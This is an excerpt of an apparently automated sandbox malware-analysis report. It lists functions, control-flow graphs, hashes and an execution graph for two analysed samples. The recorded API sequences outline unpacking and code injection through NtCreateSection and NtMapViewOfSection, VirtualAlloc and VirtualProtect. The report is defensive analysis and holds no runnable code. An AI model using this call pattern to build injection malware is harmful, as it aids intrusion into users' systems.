                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: f58bfef414fbb703d3dd54ed49dc08676aa3255ce4442ffadb9c2f16a394118f
                                                                                                                                                                                                                                                                • Instruction ID: a8b0c3d885e26e12b4b78e6b62be43aeff16635af6dcc451826105f71ea5402b
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: f58bfef414fbb703d3dd54ed49dc08676aa3255ce4442ffadb9c2f16a394118f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: E2C02B722C1E336B9B08A10C8CE2BDFF6885936400388100444C2D72C0C300E05304F7
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004027A0 Relevance: .0, Instructions: 8COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 0c8559ce6b849e8630471a8e5d616feba08a7a26a2c0d8d38af4418daa939d9c
                                                                                                                                                                                                                                                                • Instruction ID: 38351c2ed745b14c386feeb15f7f798b9746b37af39e32a5701b5c9e944eb928
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0c8559ce6b849e8630471a8e5d616feba08a7a26a2c0d8d38af4418daa939d9c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 62C0923264112BCFC6358F2DC48CBD573B7AA9970338705AAC8818741ADB20E1AB8F48
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402770 Relevance: .0, Instructions: 3COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: d42159c6503ca90542c3670edd716fcc7f47a8373946eeb85d274a3b270e0fcb
                                                                                                                                                                                                                                                                • Instruction ID: 4231ba0c904557ffbbe8bc52a0ffdfb71a90202ecc68a120afadf1cd8174fbf3
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: d42159c6503ca90542c3670edd716fcc7f47a8373946eeb85d274a3b270e0fcb
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash:
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00417FBB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3016257755-0
                                                                                                                                                                                                                                                                • Opcode ID: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
                                                                                                                                                                                                                                                                • Instruction ID: 82afaeb7f64d180c7b28ae2bd096279a215c28af4da0ac6246f1dd20e6f8dfff
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: F8117E3200414EBBCF125E84DC01CEE3F73BB1C394B19841AFA1858131C73AC9B6AB85
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Execution Graph

                                                                                                                                                                                                                                                                Execution Coverage:3.9%
                                                                                                                                                                                                                                                                Dynamic/Decrypted Code Coverage:29.9%
                                                                                                                                                                                                                                                                Signature Coverage:0%
                                                                                                                                                                                                                                                                Total number of Nodes:87
                                                                                                                                                                                                                                                                Total number of Limit Nodes:8
                                                                                                                                                                                                                                                                execution_graph 8399 2e7c347 8400 2e7c356 8399->8400 8403 2e7cae7 8400->8403 8404 2e7cb02 8403->8404 8405 2e7cb0b CreateToolhelp32Snapshot 8404->8405 8406 2e7cb27 Module32First 8404->8406 8405->8404 8405->8406 8407 2e7cb36 8406->8407 8408 2e7c35f 8406->8408 8410 2e7c7a6 8407->8410 8411 2e7c7d1 8410->8411 8412 2e7c7e2 VirtualAlloc 8411->8412 8413 2e7c81a 8411->8413 8412->8413 8413->8413 8414 417240 8415 41725c 8414->8415 8416 417284 WriteConsoleOutputCharacterA GetTimeZoneInformation 8415->8416 8421 4172ae 8415->8421 8416->8415 8417 41735b 8424 416f60 8417->8424 8418 4172d9 ReadFile GetVolumeInformationA 8418->8421 8420 417360 8446 416540 LoadLibraryW GetProcAddress VirtualProtect 8420->8446 8447 416e00 LoadLibraryA 8420->8447 8421->8417 8421->8418 8425 416f90 8424->8425 8426 416f96 GetConsoleAliasesA 8425->8426 8429 416fb7 8425->8429 8426->8425 8427 41721b 8426->8427 8428 417228 CreateDirectoryW 8427->8428 8427->8429 8428->8429 8430 416ff5 InterlockedDecrement FindAtomW DeviceIoControl GetComputerNameW 8429->8430 8431 4170b8 8429->8431 8434 417053 SetDefaultCommConfigW FreeEnvironmentStringsA AddAtomW GetCurrentDirectoryA EnumDateFormatsW 8430->8434 8432 4170c8 7 API calls 8431->8432 8435 41713f 8431->8435 8432->8435 8437 417096 FatalAppExitW 8434->8437 8438 41709e 8434->8438 8448 416510 LocalAlloc 8435->8448 8436 41715d 8449 416e00 LoadLibraryA 8436->8449 8437->8438 8438->8431 8439 4170a7 GetModuleHandleExW 8438->8439 8439->8431 8441 4171a0 8450 416540 LoadLibraryW GetProcAddress VirtualProtect 8441->8450 8443 4171a5 8451 416ef0 8443->8451 8445 4171aa 8445->8420 8446->8420 8447->8420 8448->8436 8449->8441 8450->8443 8456 416e70 8451->8456 8454 416f52 8454->8445 8455 416f14 FreeEnvironmentStringsA CreateNamedPipeW FileTimeToLocalFileTime 8455->8454 8457 416e81 HeapCreate LoadLibraryA 8456->8457 8458 416e95 8456->8458 8457->8458 8458->8454 8458->8455 8459 403031 8460 402fbf 8459->8460 8462 40303a 8459->8462 8464 4019b2 8460->8464 8463 402fda 8465 4019c3 8464->8465 8466 4019fc Sleep 8465->8466 8467 401a17 8466->8467 8469 401a28 8467->8469 8470 4015d5 8467->8470 8469->8463 8471 4015e4 8470->8471 8472 4017a4 8471->8472 8473 401688 NtDuplicateObject 8471->8473 8472->8469 8473->8472 8474 4016a5 NtCreateSection 8473->8474 8475 401725 NtCreateSection 8474->8475 8476 4016cb NtMapViewOfSection 8474->8476 8475->8472 8477 401751 8475->8477 8476->8475 8478 4016ee NtMapViewOfSection 8476->8478 8477->8472 8479 40175b NtMapViewOfSection 8477->8479 8478->8475 8480 40170c 8478->8480 8479->8472 8481 401782 NtMapViewOfSection 8479->8481 8480->8475 8481->8472 8482 470003c 8483 4700049 8482->8483 8495 4700e0f SetErrorMode SetErrorMode 8483->8495 8488 4700265 8489 47002ce VirtualProtect 8488->8489 8491 470030b 8489->8491 8490 4700439 VirtualFree 8494 47004be LoadLibraryA 8490->8494 8491->8490 8493 47008c7 8494->8493 8496 4700223 8495->8496 8497 4700d90 8496->8497 8498 4700dad 8497->8498 8499 4700dbb GetPEB 8498->8499 8500 4700238 VirtualAlloc 8498->8500 8499->8500 8500->8488 8501 402f3d 8502 402f4e 8501->8502 8503 4019b2 8 API calls 8502->8503 8504 402fda 8502->8504 8503->8504

                                                                                                                                                                                                                                                                Executed Functions

                                                                                                                                                                                                                                                                Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 229COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 86 40156b-401577 87 4015a3-4015a6 86->87 88 401579-40157e 86->88 91 4015a8-4015c7 87->91 92 4015fe-401632 call 40125c 87->92 89 401580-401599 88->89 90 40154a-401551 88->90 89->87 94 401553-401569 90->94 95 40151d-401546 call 40125c 90->95 91->92 104 401634 92->104 105 401637-40163c 92->105 94->86 95->90 104->105 107 401642-401653 105->107 108 401959-401961 105->108 112 401957 107->112 113 401659-401682 107->113 108->105 111 401966-4019af call 40125c 108->111 112->111 113->112 121 401688-40169f NtDuplicateObject 113->121 121->112 123 4016a5-4016c9 NtCreateSection 121->123 125 401725-40174b NtCreateSection 123->125 126 4016cb-4016ec NtMapViewOfSection 123->126 125->112 127 401751-401755 125->127 126->125 129 4016ee-40170a NtMapViewOfSection 126->129 127->112 130 40175b-40177c NtMapViewOfSection 127->130 129->125 132 40170c-401722 129->132 130->112 133 401782-40179e NtMapViewOfSection 130->133 132->125 133->112 135 4017a4 call 4017a9 133->135
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 9c550399e78a4170f2f5d29d07dc02536ee10777f5cb6a9f829c2ebd2296549f
                                                                                                                                                                                                                                                                • Instruction ID: 4068bc8a221ecf0939acbdb1e7e88c7e46ae7771e33a0dc799c943c57428cfd7
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9c550399e78a4170f2f5d29d07dc02536ee10777f5cb6a9f829c2ebd2296549f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: AC717CB4900205BFDB209F91CC48F9BBFB8FF96710F14416AFA52BA2E5D6749901CB64
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015D5 Relevance: 10.7, APIs: 7, Instructions: 206nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 139 4015d5-401605 144 401608-401632 call 40125c 139->144 145 4015fb-401601 139->145 151 401634 144->151 152 401637-40163c 144->152 145->144 151->152 154 401642-401653 152->154 155 401959-401961 152->155 159 401957 154->159 160 401659-401682 154->160 155->152 158 401966-4019af call 40125c 155->158 159->158 160->159 168 401688-40169f NtDuplicateObject 160->168 168->159 170 4016a5-4016c9 NtCreateSection 168->170 172 401725-40174b NtCreateSection 170->172 173 4016cb-4016ec NtMapViewOfSection 170->173 172->159 174 401751-401755 172->174 173->172 176 4016ee-40170a NtMapViewOfSection 173->176 174->159 177 40175b-40177c NtMapViewOfSection 174->177 176->172 179 40170c-401722 176->179 177->159 180 401782-40179e NtMapViewOfSection 177->180 179->172 180->159 182 4017a4 call 4017a9 180->182
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 3e181e0f091291a7bcc65ea4cbb03b61709e80b03e4eaee54da447a390a899e9
                                                                                                                                                                                                                                                                • Instruction ID: 31d3dea579921dc9a2cae9d470b126ee15754b3dfc7efa49c87a4de0449774b7
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3e181e0f091291a7bcc65ea4cbb03b61709e80b03e4eaee54da447a390a899e9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3D615EB4900205FBEF209F95CC49FAF7BB8EF81700F14412AFA52BA1E4D6759901DB65
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00401603 Relevance: 10.7, APIs: 7, Instructions: 180nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 186 401603-401605 188 401608-401632 call 40125c 186->188 189 4015fb-401601 186->189 195 401634 188->195 196 401637-40163c 188->196 189->188 195->196 198 401642-401653 196->198 199 401959-401961 196->199 203 401957 198->203 204 401659-401682 198->204 199->196 202 401966-4019af call 40125c 199->202 203->202 204->203 212 401688-40169f NtDuplicateObject 204->212 212->203 214 4016a5-4016c9 NtCreateSection 212->214 216 401725-40174b NtCreateSection 214->216 217 4016cb-4016ec NtMapViewOfSection 214->217 216->203 218 401751-401755 216->218 217->216 220 4016ee-40170a NtMapViewOfSection 217->220 218->203 221 40175b-40177c NtMapViewOfSection 218->221 220->216 223 40170c-401722 220->223 221->203 224 401782-40179e NtMapViewOfSection 221->224 223->216 224->203 226 4017a4 call 4017a9 224->226
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$CreateDuplicateObjectView
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1652636561-0
                                                                                                                                                                                                                                                                • Opcode ID: b15bfa31299a4de99dc5fbb09a0d922efddb8920de5fe92507006c0b369db749
                                                                                                                                                                                                                                                                • Instruction ID: 0ca0715bd940020d1e7da968824c045868daa20d03b9e32912d168e5fb042320
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: b15bfa31299a4de99dc5fbb09a0d922efddb8920de5fe92507006c0b369db749
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 21513AB4900245BFEF209F91CC48FAB7BB8EF86700F144159FA11BA1A5D6759901CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015E0 Relevance: 10.7, APIs: 7, Instructions: 177nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 230 4015e0-401605 233 401608-401632 call 40125c 230->233 234 4015fb-401601 230->234 240 401634 233->240 241 401637-40163c 233->241 234->233 240->241 243 401642-401653 241->243 244 401959-401961 241->244 248 401957 243->248 249 401659-401682 243->249 244->241 247 401966-4019af call 40125c 244->247 248->247 249->248 257 401688-40169f NtDuplicateObject 249->257 257->248 259 4016a5-4016c9 NtCreateSection 257->259 261 401725-40174b NtCreateSection 259->261 262 4016cb-4016ec NtMapViewOfSection 259->262 261->248 263 401751-401755 261->263 262->261 265 4016ee-40170a NtMapViewOfSection 262->265 263->248 266 40175b-40177c NtMapViewOfSection 263->266 265->261 268 40170c-401722 265->268 266->248 269 401782-40179e NtMapViewOfSection 266->269 268->261 269->248 271 4017a4 call 4017a9 269->271
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 04eb20433b5860dced4f30358d53dad77e0caca42b63522b0a9d39180673331f
                                                                                                                                                                                                                                                                • Instruction ID: f8a4b5919756d8021f5b889f0f58571870373b5bf4bcbac62585d3645815d21d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 04eb20433b5860dced4f30358d53dad77e0caca42b63522b0a9d39180673331f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1D512AB4900245BFEF209F91CC48FAB7BB8EF85B00F14416AFA11BA1A5D6759945CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015F1 Relevance: 10.7, APIs: 7, Instructions: 177nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 275 4015f1-401605 280 401608-401632 call 40125c 275->280 281 4015fb-401601 275->281 287 401634 280->287 288 401637-40163c 280->288 281->280 287->288 290 401642-401653 288->290 291 401959-401961 288->291 295 401957 290->295 296 401659-401682 290->296 291->288 294 401966-4019af call 40125c 291->294 295->294 296->295 304 401688-40169f NtDuplicateObject 296->304 304->295 306 4016a5-4016c9 NtCreateSection 304->306 308 401725-40174b NtCreateSection 306->308 309 4016cb-4016ec NtMapViewOfSection 306->309 308->295 310 401751-401755 308->310 309->308 312 4016ee-40170a NtMapViewOfSection 309->312 310->295 313 40175b-40177c NtMapViewOfSection 310->313 312->308 315 40170c-401722 312->315 313->295 316 401782-40179e NtMapViewOfSection 313->316 315->308 316->295 318 4017a4 call 4017a9 316->318
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 33ac70b5b43b6acd6d344138c7c65f11e9e4a1672503bef4bbae75314ef4305b
                                                                                                                                                                                                                                                                • Instruction ID: 5a7ae9765c1c855b3f83e93a3bcaaff71aa811e3383dbed8b01ddf0fe81d9004
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 33ac70b5b43b6acd6d344138c7c65f11e9e4a1672503bef4bbae75314ef4305b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: CD512AB4900205BBEF209F91CC49FAB7BB8EF85B00F14412AFA11BA1E5D6759941CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015F5 Relevance: 10.7, APIs: 7, Instructions: 171nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 322 4015f5-401605 325 401608-401632 call 40125c 322->325 326 4015fb-401601 322->326 332 401634 325->332 333 401637-40163c 325->333 326->325 332->333 335 401642-401653 333->335 336 401959-401961 333->336 340 401957 335->340 341 401659-401682 335->341 336->333 339 401966-4019af call 40125c 336->339 340->339 341->340 349 401688-40169f NtDuplicateObject 341->349 349->340 351 4016a5-4016c9 NtCreateSection 349->351 353 401725-40174b NtCreateSection 351->353 354 4016cb-4016ec NtMapViewOfSection 351->354 353->340 355 401751-401755 353->355 354->353 357 4016ee-40170a NtMapViewOfSection 354->357 355->340 358 40175b-40177c NtMapViewOfSection 355->358 357->353 360 40170c-401722 357->360 358->340 361 401782-40179e NtMapViewOfSection 358->361 360->353 361->340 363 4017a4 call 4017a9 361->363
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 093e4af39a6e9b280214902670a608798f3f560288f35baa23b2d456886eb4a6
                                                                                                                                                                                                                                                                • Instruction ID: 051afd1cfa3f53c1d66a227bdc9b807376e364d6cbb67a4c48344ec6a8846052
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 093e4af39a6e9b280214902670a608798f3f560288f35baa23b2d456886eb4a6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A5512AB4900205BFEF209F91CC48FAF7BB8EF85B00F144169FA11BA1E5D6759941CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004015F8 Relevance: 10.7, APIs: 7, Instructions: 170nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 367 4015f8-401632 call 40125c 375 401634 367->375 376 401637-40163c 367->376 375->376 378 401642-401653 376->378 379 401959-401961 376->379 383 401957 378->383 384 401659-401682 378->384 379->376 382 401966-4019af call 40125c 379->382 383->382 384->383 392 401688-40169f NtDuplicateObject 384->392 392->383 394 4016a5-4016c9 NtCreateSection 392->394 396 401725-40174b NtCreateSection 394->396 397 4016cb-4016ec NtMapViewOfSection 394->397 396->383 398 401751-401755 396->398 397->396 400 4016ee-40170a NtMapViewOfSection 397->400 398->383 401 40175b-40177c NtMapViewOfSection 398->401 400->396 403 40170c-401722 400->403 401->383 404 401782-40179e NtMapViewOfSection 401->404 403->396 404->383 406 4017a4 call 4017a9 404->406
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
